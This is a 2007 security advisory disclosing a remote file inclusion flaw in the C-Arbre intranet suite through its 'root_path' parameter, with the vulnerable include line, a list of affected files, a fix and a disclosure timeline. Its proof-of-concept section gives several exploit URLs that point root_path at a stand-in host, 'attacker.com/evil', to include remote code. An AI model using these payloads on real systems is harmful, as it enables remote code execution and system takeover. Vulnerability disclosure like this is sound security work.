adv78-K-159-2007.txt

`ECHO_ADV_78$2007  
  
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[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability  
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Author : M.Hasran Addahroni  
Date : March, 26th 2007  
Location : Australia, Sydney  
Web : http://advisories.echo.or.id/adv/adv78-K-159-2007.txt  
Critical Lvl : Dangerous  
Impact : System access  
Where : From Remote  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : C-Arbre   
version : <= 0.6PR7  
Vendor : http://realink.org/  
Download : http://fresh.t-systems-sfr.com/unix/src/www/c-arbre_0.6PR7_full.tar.gz  
Description :  
  
C-Arbre is an integrated Intranet/Web software suite oriented towards knowledge management. Some of its key features include a CMS,   
a documents repository, handling of collaborative work and editions, templates engineering, support for DocBook XML, XHTML and Wiki style, permissions and work flow,  
a search engine with full text indexing, logging of actions, a cache system, groupware tools (calendar, Web mail, mailing lists, etc.),   
automatic generation of a Web portal, and internationalization of the interface.  
  
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Vulnerability:  
~~~~~~~~~~~~~~  
- Invalid include function at lib/Richtxt_functions.inc.php :   
  
----------------lib/Richtxt_functions.inc.php-------------------  
<?php  
//try to integrate the wikimedia engine functions  
include_once("$root_path/include/Wikitxt_functions.inc.php");  
  
...  
----------------------------------------------------------------  
  
  
Input passed to the "root_path" parameter in lib/Richtxt_functions.inc.php is not properly verified before being used to include files.   
This can be exploited to include arbitrary files from local or external resources.  
Successful exploitation requires that "register_globals" is enabled.  
  
also affected files :  
lib/adddocfile.php  
lib/auth_check.php  
lib/browse_current_category.inc.php  
lib/docfile_details.php  
lib/main.php  
lib/mainarticle.php  
lib/maindocfile.php  
lib/modify.php  
lib/new.php  
lib/resource_details.php  
lib/smallsearch.php  
mwiki/LocalSettings.php  
  
  
Poc/Exploit:  
~~~~~~~~~~  
  
http://www.target.com/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_path=http://attacker.com/evil?  
http://www.target.com/[C-Abre_path]/lib/adddocfile.php?root_path=http://attacker.com/evil?  
http://www.target.com/[C-Abre_path]/lib/auth_check.php?root_path=http://attacker.com/evil?  
http://www.target.com/[C-Abre_path]/lib/browse_current_category.inc.php?root_path=http://attacker.com/evil?  
http://www.target.com/[C-Abre_path]/lib/docfile_details.php?root_path=http://attacker.com/evil?  
http://www.target.com/[C-Abre_path]/lib/main.php?root_path=http://attacker.com/evil?  
  
  
Solution:  
~~~~~~~  
  
- Edit the source code to ensure that input is properly verified.  
- Turn off register_globals  
  
  
Notification:  
~~~~~~~  
- 19-03-2007 bugs found  
- 26-03-2007 vendor contacted  
- 27-03-2007 advisory released  
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Shoutz:  
~~~~~  
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)  
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw  
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16  
~ [email protected]  
~ #aikmel #e-c-h-o @irc.dal.net  
  
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Contact:  
~~~~~~  
  
K-159 || echo|staff || eufrato[at]gmail[dot]com  
Homepage: http://k-159.echo.or.id/  
  
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